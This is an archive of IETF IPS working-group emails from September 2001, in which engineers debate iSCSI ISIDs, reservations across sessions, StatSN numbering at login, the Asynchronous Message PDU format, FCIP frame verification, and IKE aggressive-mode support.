Black_David@emc.com To: hafner@almaden.ibm.com, ips@ece.cmu.edu Subject: iSCSI: ISIDs and multi-session reservations Date: Mon, 10 Sep 2001 02:16:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Change of subject line to pick up just Jim's "kicker": > Now comes a slight kicker! There is proposed language for SCSI that would > allow a device server to associate a reservation with a SCSI initiator port > *independent of the SCSI target port*, so I could have a path from one SCSI > Initiator port through each SCSI target port and the reservation state > would be equivalent over all the paths (sort of I_*_L nexus). This new > language is based on one fundamental principle, that is, that the SCSI > initiator port has a world wide unique persistent intrinsic NAME on which > to base the unambiguous recognition of that SCSI Initiator Port independent > of the target port. In other words, with a name, the device server can > recognize the same initiator port through any of its target ports and so > grant equivalent access rights. Remove the name from iSCSI's SCSI > Initiator Port (which you are effectively doing no matter how you look at > it), and you can not take advantage of this proposal's new functionality. That's definitely a kicker, because it requires a persistent name for the SCSI Initiator Port - this whole "no ISID" adventure is predicated in part on not needing that. > This is the kind of functionality that many people not intimate with SCSI > assumed was already there (and in fact there were assumptions that > reservations went so far as to span initiator ports). Unfortunately, > that's not the model in SCSI. This pending proposal is an attempt to get to > that functionality defined within the parameters defined by SAM-2. And it makes sense if one assumes that the SCSI Initiator Port is a physical entity (essentially an interface/adapter). With iSCSI making that a dynamic software entity, things get peculiar ... > Note that with the initiator generated ISID as part of the SCSI Initiator > Port Name (it's intrinsic), we had the ability to reuse that same ISID for > each target portal group (without problem) and get this equivalent > reservation state across all those target portal groups (aka, SCSI Target > Ports). ... and this looks peculiar. The peculiarity is that what we currently view as implementation-internal decisions on which ISIDs are used on what sessions to various target portal groups now carry semantics that are visible above iSCSI - in essence the equality or inequality of ISID values across sessions to different target portal groups controls how reservations behave across those sessions. Without ISIDs, this ability goes away. > I don't know if that is too much of a monkey wrench in the works, but it > bothers me some. It sure looks like a monkey wrench to me. I'm concerned that this could lead to things like cluster software wanting to control ISID usage in order to get the "right" behavior of reservations across sessions. My immediate reaction is to throw "lazy evaluation" at this problem - something like a new text key that cluster software (or the like) passes down to tell iSCSI which connections need to have this reservation sharing property (and iSCSI passes it to the target in a text command). Before delving into this "lazy evaluation" idea, is anyone else concerned about this cluster software scenario, or have I gone off into left field (again)? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Sep 10 06:54:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08433 for ; Mon, 10 Sep 2001 06:54:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A9Mrt02144 for ips-outgoing; Mon, 10 Sep 2001 05:22:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A9MoP02139 for ; Mon, 10 Sep 2001 05:22:50 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA38504 for ; Mon, 10 Sep 2001 11:22:42 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8A9MfC75074 for ; Mon, 10 Sep 2001 11:22:41 +0200 Importance: Normal Subject: iSCSI - a key for reservations To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 10 Sep 2001 12:21:52 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 10/09/2001 12:22:42 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, I was thinking along similar lines. It removes the issue of session restart but is bound to create a set of its own unless it is a key generated close to thet SCSI layer by the same entity that generates the persistent items. Julo From owner-ips@ece.cmu.edu Mon Sep 10 06:54:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08509 for ; Mon, 10 Sep 2001 06:54:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A96pN01619 for ips-outgoing; Mon, 10 Sep 2001 05:06:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A96ZP01609 for ; Mon, 10 Sep 2001 05:06:48 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA57414 for ; Mon, 10 Sep 2001 11:06:22 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8A96M5104792 for ; Mon, 10 Sep 2001 11:06:22 +0200 Importance: Normal Subject: RE: iSCSI: ISIDs To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 10 Sep 2001 12:05:33 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 10/09/2001 12:06:22 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, This relatively complicated and hard to discuss on the mailing list. During a flight I made a summaryY. allocating to vendors is not a good idea and failover of an entire session should be possible between portl groups. Portal groups are meant to delimit connections that cooperate within a session. If a session on PGa goes away you may want to reinstate a session on PG b ineriting the same properties. There is nothing to prevent you now to do it (and that is good). The ID splitting can get a bit skewed. The same will happend whatever sheme you choose and vendors certianly don't have to get involved. Julo Black_David@emc.com on 10-09-2001 09:16:39 Please respond to Black_David@emc.com To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs One more whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Sep 10 07:24:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09447 for ; Mon, 10 Sep 2001 07:24:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A9w2B03308 for ips-outgoing; Mon, 10 Sep 2001 05:58:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A9vZP03295 for ; Mon, 10 Sep 2001 05:57:35 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id LAA40120 for ; Mon, 10 Sep 2001 11:57:18 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8A9vH5159636 for ; Mon, 10 Sep 2001 11:57:17 +0200 Importance: Normal Subject: Re: iSCSI: statSN during login To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 10 Sep 2001 12:56:25 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 10/09/2001 12:57:17 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Ayman, Unlike CmdSN, StatSN is per connection and for anything shipped (no immediate things here). I think that leaving it as it is enhances regularity (no exceptions) and perhaps removing the "not necesarily needed stuff". Something like: Status numbering starts with the Login response to the first Login request (C=0) of the connection. The Login response includes an initial value for status numbering. in 1.2.2.2 Thanks, Julo "Ayman Ghanem" @ece.cmu.edu on 10-09-2001 06:35:19 Please respond to "Ayman Ghanem" Sent by: owner-ips@ece.cmu.edu To: cc: Subject: iSCSI: statSN during login Julian, There is inconsistency on the use of statSN during login between sections 1.2.2.2: Status numbering starts after Login. During login, there is always only one outstanding command per connection and status numbering is not strictly needed but may be used as a sanity check. and section 2.13.4: For the first Login Response (the response to a Login Request with C=0) this is the starting status Sequence Number for the connection (the next response of any kind will carry this number + 1). This field is valid only if the Status Class is 0. The later indicates that statSN MUST be used during login phase. Since this is not really needed during login, I suggest changing the text so that statSN not to be used until the connection is in full feature phase (similar to cmdSN). -Ayman From owner-ips@ece.cmu.edu Mon Sep 10 11:33:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAB18628 for ; Mon, 10 Sep 2001 11:33:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ADugE13397 for ips-outgoing; Mon, 10 Sep 2001 09:56:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ADueP13393 for ; Mon, 10 Sep 2001 09:56:40 -0400 (EDT) Received: by LUCY with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Sep 2001 10:00:58 -0400 Message-ID: <63616B261CEFD411834D00D0B7A86CF7114120@LUCY> From: Sudhir Srinivasan To: "'Robert Snively'" , barry reinhold , ISCSI Cc: Sudhir Srinivasan Subject: RE: FCIP: Intent of standard in 6.6.2.2 Date: Mon, 10 Sep 2001 10:00:51 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk See comment embedded below... > -----Original Message----- > From: Robert Snively [mailto:rsnively@Brocade.COM] > Sent: Friday, September 07, 2001 1:04 PM > To: 'Barry Reinhold'; ISCSI > Subject: RE: FCIP: Intent of standard in 6.6.2.2 > > > Barry, > > The text is, I believe, clear in specifying the authors' intent. > > The text says: > > Verification SHALL be accomplished by performing the > following tests: > > a) Length field validation -- 63 < (Length * 4) < 2177 (f above); > b) Comparison of Length field to its ones complement (f above); and > c) At least 6 other of the 22 distinct tests listed above. > > Errors in FCIP Frame headers SHOULD be considered carefully, since > some may be synchronization errors. For example, any failure of the > Length field tests described above SHALL be handled as a > synchronization error. Errors in FCIP Frames detected by the FCIP_DE > that affect synchronization with the Encapsulated Frame Receiver > Portal byte stream SHALL be handled as defined by section 6.6.2.3. > > It is clear from this that, if the length field goes bad, you > absolutely cannot determine where the next frame is and > synchronization > is lost. 6.6.2.3 tells you the requirements for recovering > synchronization or closing the TCP connection. Annex A gives > you one example of a recovery algorithm meeting those requirements. > Others are possible. Bob, I think Barry's point is that as worded currently, verification __of synchronization__ SHALL fail if test (c) fails - i.e. length tests must pass and at least 6 other tests must pass. The problem is that only some tests imply synch loss and the other tests simply indicate a bad frame, and so this is ambiguous. I will try to come up with a different wording that matches the intent you described (which is intuitive). - Sudhir > > The other fields that are tested give you confidence that everything > is still working right and reduce the probability of falsely > indicating that a bad frame is good to infinitesimal values. > Numbers for passing a bad frame for good once every million years > on a worst case link are considered infinitesimal. The selection > of which of these tests to use depends on the implementation and > architecture of the supporting firmware and hardware. Some tests > may be impossible on some types of hardware. While some > of these tests may mean that the frame needs to be discarded, > you SHOULD consider in a vendor specific manner (that does not > change interoperability) whether or not synchronization actually > failed. As an example, if the length is valid but the EOF and > CRC of the frame fail, and the header of the next frame fails some > of its tests, it is likely that you have lost synchronization. > However, if the length is valid, the EOF and CRC are valid, but > the SOF is invalid, you need to discard the frame because you > cannot define its class of service, but you have probably not > lost synchronization. > > It really doesn't matter too much which set of tests you use, > since they have the same effect. Bad frames will disappear > from the link and be retried by ULP mechanisms. Loss of > synchronization will be recovered after several frame losses or > cause the connection to close, depending on how lucky you are > and how lazy your implementation is. > > Would you suggest any wording changes to reflect that > meaning? > > Bob > > > > -----Original Message----- > > From: Barry Reinhold [mailto:bbrtrebia@mediaone.net] > > Sent: Thursday, September 06, 2001 11:23 AM > > To: ISCSI > > Subject: FCIP: Intent of standard in 6.6.2.2 > > > > > > I would like to ensure that I am understanding the intent of > > the standard > > correctly relative to clause 6.6.2.2 (draft 05). > > > > Under the verification SHALL be accomplished.... > > > > item C "At least 6 other of the 21 distinct tests listed above." > > > > This means that there SHALL be six other fields tested and > > that if any one > > of them fail then sync. in the TCP stream shall not be > > considered acquired. > > It also means that a frame with 15 fields in error could pass the > > verification test of some device and that device would still > > be consider > > compliant. Anyone reading this differently? > From owner-ips@ece.cmu.edu Mon Sep 10 11:39:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18821 for ; Mon, 10 Sep 2001 11:39:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ADmaY12951 for ips-outgoing; Mon, 10 Sep 2001 09:48:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ADmYP12946 for ; Mon, 10 Sep 2001 09:48:34 -0400 (EDT) Received: from cisco.com (58509@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA06263; Mon, 10 Sep 2001 09:48:26 -0400 (EDT) Message-ID: <3B9CC2D7.55206FCD@cisco.com> Date: Mon, 10 Sep 2001 08:40:39 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI: Async events - SCSI and iSCSI References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- I like this one a lot better. How about adding one more event: 4 Target is sending a vendor-specific event message. The message and its parameters are indicated in the data segment as a series of text keys and values, in the same format used by the text commands and responses. This would allow an initiator and target to negotiate the sending of an implementation-specific (or experimental) async message, without using reserved AsyncEvent values. -- Mark Julian Satran wrote: > > OK Mark - How about: > > 1.1 Asynchronous Message > > An Asynchronous Message may be sent from the target to the initiator > without corresponding to a particular command. The target specifies the > status and reason for the event and sense data. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x32 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| LUN | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| AsyncEvent | Reserved | Parameter1 or Reserved | > +---------------+---------------+---------------+---------------+ > 40| Parameter2 or Reserved | Parameter3 or Reserved | > +---------------+---------------+---------------+---------------+ > 44| Reserved | > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment - Sense Data or iSCSI Event Data / > +/ / > +---------------+---------------+---------------+---------------+ > > Some Asynchronous Messages are strictly related to iSCSI while others > are related to SCSI [SAM2]. > > Please note that StatSN counts this PDU as an acknowledgeable event, > allowing initiator and target state synchronization. > > 1.1.1 AsyncEvent > > The codes used for iSCSI Asynchronous Messages (Events) are: > > 0 A SCSI Asynchronous Event is reported in the sense data. Sense > Data that accompanies the report, in the data segment, identifies the > condition. Sending of a SCSI Event (Asynchronous Event Notification > in SCSI terminology) is controlled by a SCSI Control Mode Page bit. > 1 Target requests Logout. This Async Message MUST be sent on the > same connection as the one being requested to be logged out. > Initiator MUST honor this request by issuing a Logout as early as > possible, but no later than Parameter3 seconds. Initiator MUST send > a Logout with a reason code of "Close the connection" to cleanly > shutdown the connection. If the initiator does not Logout in > Parameter3 seconds, the target should send an Async PDU with iSCSI > event code "Dropped the connection" if possible, or simply terminate > the transport connection. Parameter1 and Parameter2 are reserved. > 2 Target indicates it will drop the connection. > The Parameter1 field indicates on what CID the connection will > dropped. > The Parameter2 field indicates, in seconds, the minimum time to wait > before attempting to reconnect. > Parameter3 indicates the maximum time to reconnect and/or restart > commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect and/or restart the > outstanding commands, within the time specified by Parameter3 or, if > Parameter3 is 0, the target will terminate all outstanding commands > on this connection, no other responses should be expected from the > target for the outstanding commands on this connection. > A value of 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 3 Target indicates it will drop all the connections of this > session. > The Parameter2 field indicates, in seconds, the minimum time to wait > before attempting to reconnect. > The Parameter3 field indicates the maximum time to reconnect and > restart commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect within the time > specified by Parameter 3 or, if Parameter 3 is 0, the session is > terminated. In this case, the target will terminate all outstanding > commands in this session; no other responses should be expected from > the target for the outstanding commands in this session. A value of > 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 255 Vendor specific iSCSI Event - additional data MAY accompany the > report. > > All other event codes are reserved. > > 1.1.2 Sense Data or iSCSI Event Data > > For a SCSI Event this is the data that accompanies the report, in the > data segment, identifies the condition. > > For an iSCSI Event additional data that MAY accompany the report > > Mark Bakke @ece.cmu.edu on 07-09-2001 18:54:22 > > Please respond to Mark Bakke > > Sent by: owner-ips@ece.cmu.edu > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > Julian- > > I'd like to see them separate for two reasons: > > - iSCSI and SCSI-level events are typically orthogonal, so they > probably won't usually end up being combined anyway. It would > be simpler for both the target and the initiator to not attempt > to combine them. > > - Since the SCSI-level events use the data portion of the message > for sense data, that leave iSCSI events without any way to send > data of their own if there is a possibility of combining the > two. By keeping them separate, iSCSI could use the data portion > for text keys. In fact, Parameters 1, 2, and 3 might have been > easier to describe had they been communicated using text keys; > the processing of async messages is not a performance-critical > thing anyway. > > That's about it. A target could send both in one message, but since > the desire to do this is probably an end case (a small percentage > of async messages might combine both), there's no reason why we > can't just have the target send two messages, and we end up with > a simpler, and for iSCSI events, more flexible, implementation for > both the initiator and target. > > Anyway, I think that if we are going for a clear separation between > SCSI and iSCSI events, that it's even clearer if they are always > sent in separate messages. > > Thanks, > > Mark > > Julian Satran wrote: > > > > Mark, > > > > As far as I recall it is not by chance. When we decided to go for a clear > > separation of SCSI and iSCSI events > > I saw no reason why a target will not want to send both, if it had them, > in > > one message. > > Is there something I am missing? Obviously this runs against your later > > request for text async messages. > > > > Julo > > > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > > > Please respond to Mark Bakke > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: IPS > > cc: > > Subject: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > > > I was looking at Async Message some more, and noticed that there > > is nothing to stop a target from sending a message that includes > > both iSCSI and SCSI events, since each of these are communicated > > with a different set of fields. I would guess that this is not > > what is intended, and that the target ought to send one or the other. > > > > Can we add some text to say: > > > > A target may send this message as either a SCSI Event or an > > iSCSI Event, but not both. Either the SCSI Event or iSCSI > > Event field MUST be zero. > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Mon Sep 10 12:43:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21962 for ; Mon, 10 Sep 2001 12:43:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AF1eQ17710 for ips-outgoing; Mon, 10 Sep 2001 11:01:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AF1dP17706 for ; Mon, 10 Sep 2001 11:01:39 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA39384 for ; Mon, 10 Sep 2001 10:59:12 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8AF1RM76304 for ; Mon, 10 Sep 2001 09:01:27 -0600 Importance: Normal Subject: Re: iSCSI-countdown to new version To: ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 08:01:25 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 08:01:27 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Folks, Lest this get us all confused, the "Alias" section referred to by Julian is NOT the Initiator Alias and Target Alias strings debated before (about whether we need these in the protocol). This new section deals with SCSI alias designations for use third party SCSI operations. As Julian mentioned, the mechanism for using them are defined in SPC-3, but the specific formats for embedding the alias designations in SCSI parameter data is supposed to go in the protocol document (hence, it's in the new draft). Jim Hafner Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/08/2001 05:39:45 am Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI-countdown to new version Dear colleagues,, I have posted 07-90.txt and 07-90.pdf on my site (http://www.haifa.il.ibm/satran/ips). The pdf file has "bar-marked" the changes (in addition to the change log). The pdf file is produced with Acrobat 5.0 The files are a accumulative versions of the changes I've posted earlier plus editorials. It has also an Alias appendix. Aliases (that where here up to very early version) are now handled by T10 in the SCSI documents but the protocol documents are required to carry their specific formats. Julo From owner-ips@ece.cmu.edu Mon Sep 10 12:44:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21999 for ; Mon, 10 Sep 2001 12:44:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AF3up17868 for ips-outgoing; Mon, 10 Sep 2001 11:03:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8AF3fP17841 for ; Mon, 10 Sep 2001 11:03:41 -0400 (EDT) Received: from scummy.research.bell-labs.com ([135.104.2.10]) by dirty; Mon Sep 10 11:03:42 EDT 2001 Received: from aura.research.bell-labs.com (aura.research.bell-labs.com [135.104.46.10]) by scummy.research.bell-labs.com (8.11.4/8.11.4) with ESMTP id f8AF3Kl57217 for ; Mon, 10 Sep 2001 11:03:20 -0400 (EDT) Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id LAA18945 for ; Mon, 10 Sep 2001 11:03:20 -0400 (EDT) Message-ID: <3B9CD637.4B2DEE37@research.bell-labs.com> Date: Mon, 10 Sep 2001 11:03:19 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit About aggressive mode support in IKE.. See http://www.vpnc.org/features-chart.html Most vendors appear to support it. In addition to the above, KAME(*BSD) and isakmpd support it as well. But Win2000 and FreeS/WAN(Linux) do not support aggressive mode (and FreeS/WAN may never...) Although perhaps not relevant to FCIP/iFCP, the latter may have implications on iSCSI end-systems -Sandeep > Although the issue of revealing identity is not significant > (which means Aggressive Mode + pre-shared) keys is okay for > an FCIP tunnel implementation, the question is whether many > current IPsec gateways support Aggressive Mode. It only > carries a "SHOULD implement" mandate in RFC2409. It would > appear that the issues of DHCP assigned addresses and its > usability in conjunction with Main Mode + pre-shared keys > would be more severe in l2tp/vpn solutions, and this would > force gateways to implement Aggressive Mode; but can we > depend on its availability. > > As Franco states for iFCP, it is not clear that FCIP endpoint > addresses will be handed out using DHCP. In fact, some of > this will be made available using SLPv2 DAs and SAs, so they > are fairly static. (This opens up the issue of SLPv2 itself > having to be performed after IKE Phase-1 is done.) > > Would the problem be less severe if the FCIP Endpoint WWN > is sent as IKE payload in conjunction with Main-mode+pre-shared key? > > Is it also not the case that Aggressive Mode with public > key encryption still prevents identities being revealed? > > Venkat Rangan > Rhapsody Networks Inc. > http://www.rhapsodynetworks.com > From owner-ips@ece.cmu.edu Mon Sep 10 12:49:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22133 for ; Mon, 10 Sep 2001 12:49:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AFZOp20131 for ips-outgoing; Mon, 10 Sep 2001 11:35:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AFZKP20123 for ; Mon, 10 Sep 2001 11:35:21 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA18312 for ; Mon, 10 Sep 2001 11:33:03 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8AFZEM37720 for ; Mon, 10 Sep 2001 09:35:14 -0600 Importance: Normal Subject: RE: iSCSI: ISIDs To: "Julian Satran" , ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 08:35:10 -0700 